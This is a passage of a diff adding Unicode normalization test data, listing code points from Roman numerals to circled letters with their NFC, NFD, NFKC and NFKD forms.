+{ source: [0x2161], NFC: [0x2161], NFD: [0x2161], NFKC: [0x0049, 0x0049], NFKD: [0x0049, 0x0049] },
+{ source: [0x2162], NFC: [0x2162], NFD: [0x2162], NFKC: [0x0049, 0x0049, 0x0049], NFKD: [0x0049, 0x0049, 0x0049] },
+{ source: [0x2163], NFC: [0x2163], NFD: [0x2163], NFKC: [0x0049, 0x0056], NFKD: [0x0049, 0x0056] },
+{ source: [0x2164], NFC: [0x2164], NFD: [0x2164], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x2165], NFC: [0x2165], NFD: [0x2165], NFKC: [0x0056, 0x0049], NFKD: [0x0056, 0x0049] },
+{ source: [0x2166], NFC: [0x2166], NFD: [0x2166], NFKC: [0x0056, 0x0049, 0x0049], NFKD: [0x0056, 0x0049, 0x0049] },
+{ source: [0x2167], NFC: [0x2167], NFD: [0x2167], NFKC: [0x0056, 0x0049, 0x0049, 0x0049], NFKD: [0x0056, 0x0049, 0x0049, 0x0049] },
+{ source: [0x2168], NFC: [0x2168], NFD: [0x2168], NFKC: [0x0049, 0x0058], NFKD: [0x0049, 0x0058] },
+{ source: [0x2169], NFC: [0x2169], NFD: [0x2169], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x216A], NFC: [0x216A], NFD: [0x216A], NFKC: [0x0058, 0x0049], NFKD: [0x0058, 0x0049] },
+{ source: [0x216B], NFC: [0x216B], NFD: [0x216B], NFKC: [0x0058, 0x0049, 0x0049], NFKD: [0x0058, 0x0049, 0x0049] },
+{ source: [0x216C], NFC: [0x216C], NFD: [0x216C], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x216D], NFC: [0x216D], NFD: [0x216D], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x216E], NFC: [0x216E], NFD: [0x216E], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x216F], NFC: [0x216F], NFD: [0x216F], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x2170], NFC: [0x2170], NFD: [0x2170], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2171], NFC: [0x2171], NFD: [0x2171], NFKC: [0x0069, 0x0069], NFKD: [0x0069, 0x0069] },
+{ source: [0x2172], NFC: [0x2172], NFD: [0x2172], NFKC: [0x0069, 0x0069, 0x0069], NFKD: [0x0069, 0x0069, 0x0069] },
+{ source: [0x2173], NFC: [0x2173], NFD: [0x2173], NFKC: [0x0069, 0x0076], NFKD: [0x0069, 0x0076] },
+{ source: [0x2174], NFC: [0x2174], NFD: [0x2174], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x2175], NFC: [0x2175], NFD: [0x2175], NFKC: [0x0076, 0x0069], NFKD: [0x0076, 0x0069] },
+{ source: [0x2176], NFC: [0x2176], NFD: [0x2176], NFKC: [0x0076, 0x0069, 0x0069], NFKD: [0x0076, 0x0069, 0x0069] },
+{ source: [0x2177], NFC: [0x2177], NFD: [0x2177], NFKC: [0x0076, 0x0069, 0x0069, 0x0069], NFKD: [0x0076, 0x0069, 0x0069, 0x0069] },
+{ source: [0x2178], NFC: [0x2178], NFD: [0x2178], NFKC: [0x0069, 0x0078], NFKD: [0x0069, 0x0078] },
+{ source: [0x2179], NFC: [0x2179], NFD: [0x2179], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x217A], NFC: [0x217A], NFD: [0x217A], NFKC: [0x0078, 0x0069], NFKD: [0x0078, 0x0069] },
+{ source: [0x217B], NFC: [0x217B], NFD: [0x217B], NFKC: [0x0078, 0x0069, 0x0069], NFKD: [0x0078, 0x0069, 0x0069] },
+{ source: [0x217C], NFC: [0x217C], NFD: [0x217C], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x217D], NFC: [0x217D], NFD: [0x217D], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x217E], NFC: [0x217E], NFD: [0x217E], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x217F], NFC: [0x217F], NFD: [0x217F], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x2189], NFC: [0x2189], NFD: [0x2189], NFKC: [0x0030, 0x2044, 0x0033], NFKD: [0x0030, 0x2044, 0x0033] },
+{ source: [0x219A], NFC: [0x219A], NFD: [0x2190, 0x0338], NFKC: [0x219A], NFKD: [0x2190, 0x0338] },
+{ source: [0x219B], NFC: [0x219B], NFD: [0x2192, 0x0338], NFKC: [0x219B], NFKD: [0x2192, 0x0338] },
+{ source: [0x21AE], NFC: [0x21AE], NFD: [0x2194, 0x0338], NFKC: [0x21AE], NFKD: [0x2194, 0x0338] },
+{ source: [0x21CD], NFC: [0x21CD], NFD: [0x21D0, 0x0338], NFKC: [0x21CD], NFKD: [0x21D0, 0x0338] },
+{ source: [0x21CE], NFC: [0x21CE], NFD: [0x21D4, 0x0338], NFKC: [0x21CE], NFKD: [0x21D4, 0x0338] },
+{ source: [0x21CF], NFC: [0x21CF], NFD: [0x21D2, 0x0338], NFKC: [0x21CF], NFKD: [0x21D2, 0x0338] },
+{ source: [0x2204], NFC: [0x2204], NFD: [0x2203, 0x0338], NFKC: [0x2204], NFKD: [0x2203, 0x0338] },
+{ source: [0x2209], NFC: [0x2209], NFD: [0x2208, 0x0338], NFKC: [0x2209], NFKD: [0x2208, 0x0338] },
+{ source: [0x220C], NFC: [0x220C], NFD: [0x220B, 0x0338], NFKC: [0x220C], NFKD: [0x220B, 0x0338] },
+{ source: [0x2224], NFC: [0x2224], NFD: [0x2223, 0x0338], NFKC: [0x2224], NFKD: [0x2223, 0x0338] },
+{ source: [0x2226], NFC: [0x2226], NFD: [0x2225, 0x0338], NFKC: [0x2226], NFKD: [0x2225, 0x0338] },
+{ source: [0x222C], NFC: [0x222C], NFD: [0x222C], NFKC: [0x222B, 0x222B], NFKD: [0x222B, 0x222B] },
+{ source: [0x222D], NFC: [0x222D], NFD: [0x222D], NFKC: [0x222B, 0x222B, 0x222B], NFKD: [0x222B, 0x222B, 0x222B] },
+{ source: [0x222F], NFC: [0x222F], NFD: [0x222F], NFKC: [0x222E, 0x222E], NFKD: [0x222E, 0x222E] },
+{ source: [0x2230], NFC: [0x2230], NFD: [0x2230], NFKC: [0x222E, 0x222E, 0x222E], NFKD: [0x222E, 0x222E, 0x222E] },
+{ source: [0x2241], NFC: [0x2241], NFD: [0x223C, 0x0338], NFKC: [0x2241], NFKD: [0x223C, 0x0338] },
+{ source: [0x2244], NFC: [0x2244], NFD: [0x2243, 0x0338], NFKC: [0x2244], NFKD: [0x2243, 0x0338] },
+{ source: [0x2247], NFC: [0x2247], NFD: [0x2245, 0x0338], NFKC: [0x2247], NFKD: [0x2245, 0x0338] },
+{ source: [0x2249], NFC: [0x2249], NFD: [0x2248, 0x0338], NFKC: [0x2249], NFKD: [0x2248, 0x0338] },
+{ source: [0x2260], NFC: [0x2260], NFD: [0x003D, 0x0338], NFKC: [0x2260], NFKD: [0x003D, 0x0338] },
+{ source: [0x2262], NFC: [0x2262], NFD: [0x2261, 0x0338], NFKC: [0x2262], NFKD: [0x2261, 0x0338] },
+{ source: [0x226D], NFC: [0x226D], NFD: [0x224D, 0x0338], NFKC: [0x226D], NFKD: [0x224D, 0x0338] },
+{ source: [0x226E], NFC: [0x226E], NFD: [0x003C, 0x0338], NFKC: [0x226E], NFKD: [0x003C, 0x0338] },
+{ source: [0x226F], NFC: [0x226F], NFD: [0x003E, 0x0338], NFKC: [0x226F], NFKD: [0x003E, 0x0338] },
+{ source: [0x2270], NFC: [0x2270], NFD: [0x2264, 0x0338], NFKC: [0x2270], NFKD: [0x2264, 0x0338] },
+{ source: [0x2271], NFC: [0x2271], NFD: [0x2265, 0x0338], NFKC: [0x2271], NFKD: [0x2265, 0x0338] },
+{ source: [0x2274], NFC: [0x2274], NFD: [0x2272, 0x0338], NFKC: [0x2274], NFKD: [0x2272, 0x0338] },
+{ source: [0x2275], NFC: [0x2275], NFD: [0x2273, 0x0338], NFKC: [0x2275], NFKD: [0x2273, 0x0338] },
+{ source: [0x2278], NFC: [0x2278], NFD: [0x2276, 0x0338], NFKC: [0x2278], NFKD: [0x2276, 0x0338] },
+{ source: [0x2279], NFC: [0x2279], NFD: [0x2277, 0x0338], NFKC: [0x2279], NFKD: [0x2277, 0x0338] },
+{ source: [0x2280], NFC: [0x2280], NFD: [0x227A, 0x0338], NFKC: [0x2280], NFKD: [0x227A, 0x0338] },
+{ source: [0x2281], NFC: [0x2281], NFD: [0x227B, 0x0338], NFKC: [0x2281], NFKD: [0x227B, 0x0338] },
+{ source: [0x2284], NFC: [0x2284], NFD: [0x2282, 0x0338], NFKC: [0x2284], NFKD: [0x2282, 0x0338] },
+{ source: [0x2285], NFC: [0x2285], NFD: [0x2283, 0x0338], NFKC: [0x2285], NFKD: [0x2283, 0x0338] },
+{ source: [0x2288], NFC: [0x2288], NFD: [0x2286, 0x0338], NFKC: [0x2288], NFKD: [0x2286, 0x0338] },
+{ source: [0x2289], NFC: [0x2289], NFD: [0x2287, 0x0338], NFKC: [0x2289], NFKD: [0x2287, 0x0338] },
+{ source: [0x22AC], NFC: [0x22AC], NFD: [0x22A2, 0x0338], NFKC: [0x22AC], NFKD: [0x22A2, 0x0338] },
+{ source: [0x22AD], NFC: [0x22AD], NFD: [0x22A8, 0x0338], NFKC: [0x22AD], NFKD: [0x22A8, 0x0338] },
+{ source: [0x22AE], NFC: [0x22AE], NFD: [0x22A9, 0x0338], NFKC: [0x22AE], NFKD: [0x22A9, 0x0338] },
+{ source: [0x22AF], NFC: [0x22AF], NFD: [0x22AB, 0x0338], NFKC: [0x22AF], NFKD: [0x22AB, 0x0338] },
+{ source: [0x22E0], NFC: [0x22E0], NFD: [0x227C, 0x0338], NFKC: [0x22E0], NFKD: [0x227C, 0x0338] },
+{ source: [0x22E1], NFC: [0x22E1], NFD: [0x227D, 0x0338], NFKC: [0x22E1], NFKD: [0x227D, 0x0338] },
+{ source: [0x22E2], NFC: [0x22E2], NFD: [0x2291, 0x0338], NFKC: [0x22E2], NFKD: [0x2291, 0x0338] },
+{ source: [0x22E3], NFC: [0x22E3], NFD: [0x2292, 0x0338], NFKC: [0x22E3], NFKD: [0x2292, 0x0338] },
+{ source: [0x22EA], NFC: [0x22EA], NFD: [0x22B2, 0x0338], NFKC: [0x22EA], NFKD: [0x22B2, 0x0338] },
+{ source: [0x22EB], NFC: [0x22EB], NFD: [0x22B3, 0x0338], NFKC: [0x22EB], NFKD: [0x22B3, 0x0338] },
+{ source: [0x22EC], NFC: [0x22EC], NFD: [0x22B4, 0x0338], NFKC: [0x22EC], NFKD: [0x22B4, 0x0338] },
+{ source: [0x22ED], NFC: [0x22ED], NFD: [0x22B5, 0x0338], NFKC: [0x22ED], NFKD: [0x22B5, 0x0338] },
+{ source: [0x2329], NFC: [0x3008], NFD: [0x3008], NFKC: [0x3008], NFKD: [0x3008] },
+{ source: [0x232A], NFC: [0x3009], NFD: [0x3009], NFKC: [0x3009], NFKD: [0x3009] },
+{ source: [0x2460], NFC: [0x2460], NFD: [0x2460], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x2461], NFC: [0x2461], NFD: [0x2461], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x2462], NFC: [0x2462], NFD: [0x2462], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x2463], NFC: [0x2463], NFD: [0x2463], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2464], NFC: [0x2464], NFD: [0x2464], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2465], NFC: [0x2465], NFD: [0x2465], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2466], NFC: [0x2466], NFD: [0x2466], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2467], NFC: [0x2467], NFD: [0x2467], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2468], NFC: [0x2468], NFD: [0x2468], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x2469], NFC: [0x2469], NFD: [0x2469], NFKC: [0x0031, 0x0030], NFKD: [0x0031, 0x0030] },
+{ source: [0x246A], NFC: [0x246A], NFD: [0x246A], NFKC: [0x0031, 0x0031], NFKD: [0x0031, 0x0031] },
+{ source: [0x246B], NFC: [0x246B], NFD: [0x246B], NFKC: [0x0031, 0x0032], NFKD: [0x0031, 0x0032] },
+{ source: [0x246C], NFC: [0x246C], NFD: [0x246C], NFKC: [0x0031, 0x0033], NFKD: [0x0031, 0x0033] },
+{ source: [0x246D], NFC: [0x246D], NFD: [0x246D], NFKC: [0x0031, 0x0034], NFKD: [0x0031, 0x0034] },
+{ source: [0x246E], NFC: [0x246E], NFD: [0x246E], NFKC: [0x0031, 0x0035], NFKD: [0x0031, 0x0035] },
+{ source: [0x246F], NFC: [0x246F], NFD: [0x246F], NFKC: [0x0031, 0x0036], NFKD: [0x0031, 0x0036] },
+{ source: [0x2470], NFC: [0x2470], NFD: [0x2470], NFKC: [0x0031, 0x0037], NFKD: [0x0031, 0x0037] },
+{ source: [0x2471], NFC: [0x2471], NFD: [0x2471], NFKC: [0x0031, 0x0038], NFKD: [0x0031, 0x0038] },
+{ source: [0x2472], NFC: [0x2472], NFD: [0x2472], NFKC: [0x0031, 0x0039], NFKD: [0x0031, 0x0039] },
+{ source: [0x2473], NFC: [0x2473], NFD: [0x2473], NFKC: [0x0032, 0x0030], NFKD: [0x0032, 0x0030] },
+{ source: [0x2474], NFC: [0x2474], NFD: [0x2474], NFKC: [0x0028, 0x0031, 0x0029], NFKD: [0x0028, 0x0031, 0x0029] },
+{ source: [0x2475], NFC: [0x2475], NFD: [0x2475], NFKC: [0x0028, 0x0032, 0x0029], NFKD: [0x0028, 0x0032, 0x0029] },
+{ source: [0x2476], NFC: [0x2476], NFD: [0x2476], NFKC: [0x0028, 0x0033, 0x0029], NFKD: [0x0028, 0x0033, 0x0029] },
+{ source: [0x2477], NFC: [0x2477], NFD: [0x2477], NFKC: [0x0028, 0x0034, 0x0029], NFKD: [0x0028, 0x0034, 0x0029] },
+{ source: [0x2478], NFC: [0x2478], NFD: [0x2478], NFKC: [0x0028, 0x0035, 0x0029], NFKD: [0x0028, 0x0035, 0x0029] },
+{ source: [0x2479], NFC: [0x2479], NFD: [0x2479], NFKC: [0x0028, 0x0036, 0x0029], NFKD: [0x0028, 0x0036, 0x0029] },
+{ source: [0x247A], NFC: [0x247A], NFD: [0x247A], NFKC: [0x0028, 0x0037, 0x0029], NFKD: [0x0028, 0x0037, 0x0029] },
+{ source: [0x247B], NFC: [0x247B], NFD: [0x247B], NFKC: [0x0028, 0x0038, 0x0029], NFKD: [0x0028, 0x0038, 0x0029] },
+{ source: [0x247C], NFC: [0x247C], NFD: [0x247C], NFKC: [0x0028, 0x0039, 0x0029], NFKD: [0x0028, 0x0039, 0x0029] },
+{ source: [0x247D], NFC: [0x247D], NFD: [0x247D], NFKC: [0x0028, 0x0031, 0x0030, 0x0029], NFKD: [0x0028, 0x0031, 0x0030, 0x0029] },
+{ source: [0x247E], NFC: [0x247E], NFD: [0x247E], NFKC: [0x0028, 0x0031, 0x0031, 0x0029], NFKD: [0x0028, 0x0031, 0x0031, 0x0029] },
+{ source: [0x247F], NFC: [0x247F], NFD: [0x247F], NFKC: [0x0028, 0x0031, 0x0032, 0x0029], NFKD: [0x0028, 0x0031, 0x0032, 0x0029] },
+{ source: [0x2480], NFC: [0x2480], NFD: [0x2480], NFKC: [0x0028, 0x0031, 0x0033, 0x0029], NFKD: [0x0028, 0x0031, 0x0033, 0x0029] },
+{ source: [0x2481], NFC: [0x2481], NFD: [0x2481], NFKC: [0x0028, 0x0031, 0x0034, 0x0029], NFKD: [0x0028, 0x0031, 0x0034, 0x0029] },
+{ source: [0x2482], NFC: [0x2482], NFD: [0x2482], NFKC: [0x0028, 0x0031, 0x0035, 0x0029], NFKD: [0x0028, 0x0031, 0x0035, 0x0029] },
+{ source: [0x2483], NFC: [0x2483], NFD: [0x2483], NFKC: [0x0028, 0x0031, 0x0036, 0x0029], NFKD: [0x0028, 0x0031, 0x0036, 0x0029] },
+{ source: [0x2484], NFC: [0x2484], NFD: [0x2484], NFKC: [0x0028, 0x0031, 0x0037, 0x0029], NFKD: [0x0028, 0x0031, 0x0037, 0x0029] },
+{ source: [0x2485], NFC: [0x2485], NFD: [0x2485], NFKC: [0x0028, 0x0031, 0x0038, 0x0029], NFKD: [0x0028, 0x0031, 0x0038, 0x0029] },
+{ source: [0x2486], NFC: [0x2486], NFD: [0x2486], NFKC: [0x0028, 0x0031, 0x0039, 0x0029], NFKD: [0x0028, 0x0031, 0x0039, 0x0029] },
+{ source: [0x2487], NFC: [0x2487], NFD: [0x2487], NFKC: [0x0028, 0x0032, 0x0030, 0x0029], NFKD: [0x0028, 0x0032, 0x0030, 0x0029] },
+{ source: [0x2488], NFC: [0x2488], NFD: [0x2488], NFKC: [0x0031, 0x002E], NFKD: [0x0031, 0x002E] },
+{ source: [0x2489], NFC: [0x2489], NFD: [0x2489], NFKC: [0x0032, 0x002E], NFKD: [0x0032, 0x002E] },
+{ source: [0x248A], NFC: [0x248A], NFD: [0x248A], NFKC: [0x0033, 0x002E], NFKD: [0x0033, 0x002E] },
+{ source: [0x248B], NFC: [0x248B], NFD: [0x248B], NFKC: [0x0034, 0x002E], NFKD: [0x0034, 0x002E] },
+{ source: [0x248C], NFC: [0x248C], NFD: [0x248C], NFKC: [0x0035, 0x002E], NFKD: [0x0035, 0x002E] },
+{ source: [0x248D], NFC: [0x248D], NFD: [0x248D], NFKC: [0x0036, 0x002E], NFKD: [0x0036, 0x002E] },
+{ source: [0x248E], NFC: [0x248E], NFD: [0x248E], NFKC: [0x0037, 0x002E], NFKD: [0x0037, 0x002E] },
+{ source: [0x248F], NFC: [0x248F], NFD: [0x248F], NFKC: [0x0038, 0x002E], NFKD: [0x0038, 0x002E] },
+{ source: [0x2490], NFC: [0x2490], NFD: [0x2490], NFKC: [0x0039, 0x002E], NFKD: [0x0039, 0x002E] },
+{ source: [0x2491], NFC: [0x2491], NFD: [0x2491], NFKC: [0x0031, 0x0030, 0x002E], NFKD: [0x0031, 0x0030, 0x002E] },
+{ source: [0x2492], NFC: [0x2492], NFD: [0x2492], NFKC: [0x0031, 0x0031, 0x002E], NFKD: [0x0031, 0x0031, 0x002E] },
+{ source: [0x2493], NFC: [0x2493], NFD: [0x2493], NFKC: [0x0031, 0x0032, 0x002E], NFKD: [0x0031, 0x0032, 0x002E] },
+{ source: [0x2494], NFC: [0x2494], NFD: [0x2494], NFKC: [0x0031, 0x0033, 0x002E], NFKD: [0x0031, 0x0033, 0x002E] },
+{ source: [0x2495], NFC: [0x2495], NFD: [0x2495], NFKC: [0x0031, 0x0034, 0x002E], NFKD: [0x0031, 0x0034, 0x002E] },
+{ source: [0x2496], NFC: [0x2496], NFD: [0x2496], NFKC: [0x0031, 0x0035, 0x002E], NFKD: [0x0031, 0x0035, 0x002E] },
+{ source: [0x2497], NFC: [0x2497], NFD: [0x2497], NFKC: [0x0031, 0x0036, 0x002E], NFKD: [0x0031, 0x0036, 0x002E] },
+{ source: [0x2498], NFC: [0x2498], NFD: [0x2498], NFKC: [0x0031, 0x0037, 0x002E], NFKD: [0x0031, 0x0037, 0x002E] },
+{ source: [0x2499], NFC: [0x2499], NFD: [0x2499], NFKC: [0x0031, 0x0038, 0x002E], NFKD: [0x0031, 0x0038, 0x002E] },
+{ source: [0x249A], NFC: [0x249A], NFD: [0x249A], NFKC: [0x0031, 0x0039, 0x002E], NFKD: [0x0031, 0x0039, 0x002E] },
+{ source: [0x249B], NFC: [0x249B], NFD: [0x249B], NFKC: [0x0032, 0x0030, 0x002E], NFKD: [0x0032, 0x0030, 0x002E] },
+{ source: [0x249C], NFC: [0x249C], NFD: [0x249C], NFKC: [0x0028, 0x0061, 0x0029], NFKD: [0x0028, 0x0061, 0x0029] },
+{ source: [0x249D], NFC: [0x249D], NFD: [0x249D], NFKC: [0x0028, 0x0062, 0x0029], NFKD: [0x0028, 0x0062, 0x0029] },
+{ source: [0x249E], NFC: [0x249E], NFD: [0x249E], NFKC: [0x0028, 0x0063, 0x0029], NFKD: [0x0028, 0x0063, 0x0029] },
+{ source: [0x249F], NFC: [0x249F], NFD: [0x249F], NFKC: [0x0028, 0x0064, 0x0029], NFKD: [0x0028, 0x0064, 0x0029] },
+{ source: [0x24A0], NFC: [0x24A0], NFD: [0x24A0], NFKC: [0x0028, 0x0065, 0x0029], NFKD: [0x0028, 0x0065, 0x0029] },
+{ source: [0x24A1], NFC: [0x24A1], NFD: [0x24A1], NFKC: [0x0028, 0x0066, 0x0029], NFKD: [0x0028, 0x0066, 0x0029] },
+{ source: [0x24A2], NFC: [0x24A2], NFD: [0x24A2], NFKC: [0x0028, 0x0067, 0x0029], NFKD: [0x0028, 0x0067, 0x0029] },
+{ source: [0x24A3], NFC: [0x24A3], NFD: [0x24A3], NFKC: [0x0028, 0x0068, 0x0029], NFKD: [0x0028, 0x0068, 0x0029] },
+{ source: [0x24A4], NFC: [0x24A4], NFD: [0x24A4], NFKC: [0x0028, 0x0069, 0x0029], NFKD: [0x0028, 0x0069, 0x0029] },
+{ source: [0x24A5], NFC: [0x24A5], NFD: [0x24A5], NFKC: [0x0028, 0x006A, 0x0029], NFKD: [0x0028, 0x006A, 0x0029] },
+{ source: [0x24A6], NFC: [0x24A6], NFD: [0x24A6], NFKC: [0x0028, 0x006B, 0x0029], NFKD: [0x0028, 0x006B, 0x0029] },
+{ source: [0x24A7], NFC: [0x24A7], NFD: [0x24A7], NFKC: [0x0028, 0x006C, 0x0029], NFKD: [0x0028, 0x006C, 0x0029] },
+{ source: [0x24A8], NFC: [0x24A8], NFD: [0x24A8], NFKC: [0x0028, 0x006D, 0x0029], NFKD: [0x0028, 0x006D, 0x0029] },
+{ source: [0x24A9], NFC: [0x24A9], NFD: [0x24A9], NFKC: [0x0028, 0x006E, 0x0029], NFKD: [0x0028, 0x006E, 0x0029] },
+{ source: [0x24AA], NFC: [0x24AA], NFD: [0x24AA], NFKC: [0x0028, 0x006F, 0x0029], NFKD: [0x0028, 0x006F, 0x0029] },
+{ source: [0x24AB], NFC: [0x24AB], NFD: [0x24AB], NFKC: [0x0028, 0x0070, 0x0029], NFKD: [0x0028, 0x0070, 0x0029] },
+{ source: [0x24AC], NFC: [0x24AC], NFD: [0x24AC], NFKC: [0x0028, 0x0071, 0x0029], NFKD: [0x0028, 0x0071, 0x0029] },
+{ source: [0x24AD], NFC: [0x24AD], NFD: [0x24AD], NFKC: [0x0028, 0x0072, 0x0029], NFKD: [0x0028, 0x0072, 0x0029] },
+{ source: [0x24AE], NFC: [0x24AE], NFD: [0x24AE], NFKC: [0x0028, 0x0073, 0x0029], NFKD: [0x0028, 0x0073, 0x0029] },
+{ source: [0x24AF], NFC: [0x24AF], NFD: [0x24AF], NFKC: [0x0028, 0x0074, 0x0029], NFKD: [0x0028, 0x0074, 0x0029] },
+{ source: [0x24B0], NFC: [0x24B0], NFD: [0x24B0], NFKC: [0x0028, 0x0075, 0x0029], NFKD: [0x0028, 0x0075, 0x0029] },
+{ source: [0x24B1], NFC: [0x24B1], NFD: [0x24B1], NFKC: [0x0028, 0x0076, 0x0029], NFKD: [0x0028, 0x0076, 0x0029] },
+{ source: [0x24B2], NFC: [0x24B2], NFD: [0x24B2], NFKC: [0x0028, 0x0077, 0x0029], NFKD: [0x0028, 0x0077, 0x0029] },
+{ source: [0x24B3], NFC: [0x24B3], NFD: [0x24B3], NFKC: [0x0028, 0x0078, 0x0029], NFKD: [0x0028, 0x0078, 0x0029] },
+{ source: [0x24B4], NFC: [0x24B4], NFD: [0x24B4], NFKC: [0x0028, 0x0079, 0x0029], NFKD: [0x0028, 0x0079, 0x0029] },
+{ source: [0x24B5], NFC: [0x24B5], NFD: [0x24B5], NFKC: [0x0028, 0x007A, 0x0029], NFKD: [0x0028, 0x007A, 0x0029] },
+{ source: [0x24B6], NFC: [0x24B6], NFD: [0x24B6], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x24B7], NFC: [0x24B7], NFD: [0x24B7], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x24B8], NFC: [0x24B8], NFD: [0x24B8], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x24B9], NFC: [0x24B9], NFD: [0x24B9], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x24BA], NFC: [0x24BA], NFD: [0x24BA], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x24BB], NFC: [0x24BB], NFD: [0x24BB], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x24BC], NFC: [0x24BC], NFD: [0x24BC], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x24BD], NFC: [0x24BD], NFD: [0x24BD], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x24BE], NFC: [0x24BE], NFD: [0x24BE], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x24BF], NFC: [0x24BF], NFD: [0x24BF], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x24C0], NFC: [0x24C0], NFD: [0x24C0], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x24C1], NFC: [0x24C1], NFD: [0x24C1], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x24C2], NFC: [0x24C2], NFD: [0x24C2], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x24C3], NFC: [0x24C3], NFD: [0x24C3], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x24C4], NFC: [0x24C4], NFD: [0x24C4], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x24C5], NFC: [0x24C5], NFD: [0x24C5], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x24C6], NFC: [0x24C6], NFD: [0x24C6], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x24C7], NFC: [0x24C7], NFD: [0x24C7], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x24C8], NFC: [0x24C8], NFD: [0x24C8], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x24C9], NFC: [0x24C9], NFD: [0x24C9], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x24CA], NFC: [0x24CA], NFD: [0x24CA], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x24CB], NFC: [0x24CB], NFD: [0x24CB], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x24CC], NFC: [0x24CC], NFD: [0x24CC], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x24CD], NFC: [0x24CD], NFD: [0x24CD], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x24CE], NFC: [0x24CE], NFD: [0x24CE], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x24CF], NFC: [0x24CF], NFD: [0x24CF], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x24D0], NFC: [0x24D0], NFD: [0x24D0], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x24D1], NFC: [0x24D1], NFD: [0x24D1], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x24D2], NFC: [0x24D2], NFD: [0x24D2], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x24D3], NFC: [0x24D3], NFD: [0x24D3], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x24D4], NFC: [0x24D4], NFD: [0x24D4], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x24D5], NFC: [0x24D5], NFD: [0x24D5], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x24D6], NFC: [0x24D6], NFD: [0x24D6], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x24D7], NFC: [0x24D7], NFD: [0x24D7], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x24D8], NFC: [0x24D8], NFD: [0x24D8], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x24D9], NFC: [0x24D9], NFD: [0x24D9], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x24DA], NFC: [0x24DA], NFD: [0x24DA], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x24DB], NFC: [0x24DB], NFD: [0x24DB], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x24DC], NFC: [0x24DC], NFD: [0x24DC], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x24DD], NFC: [0x24DD], NFD: [0x24DD], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x24DE], NFC: [0x24DE], NFD: [0x24DE], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x24DF], NFC: [0x24DF], NFD: [0x24DF], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x24E0], NFC: [0x24E0], NFD: [0x24E0], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x24E1], NFC: [0x24E1], NFD: [0x24E1], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x24E2], NFC: [0x24E2], NFD: [0x24E2], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x24E3], NFC: [0x24E3], NFD: [0x24E3], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x24E4], NFC: [0x24E4], NFD: [0x24E4], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x24E5], NFC: [0x24E5], NFD: [0x24E5], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x24E6], NFC: [0x24E6], NFD: [0x24E6], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x24E7], NFC: [0x24E7], NFD: [0x24E7], NFKC: [0x0078], NFKD: [0x0078] },
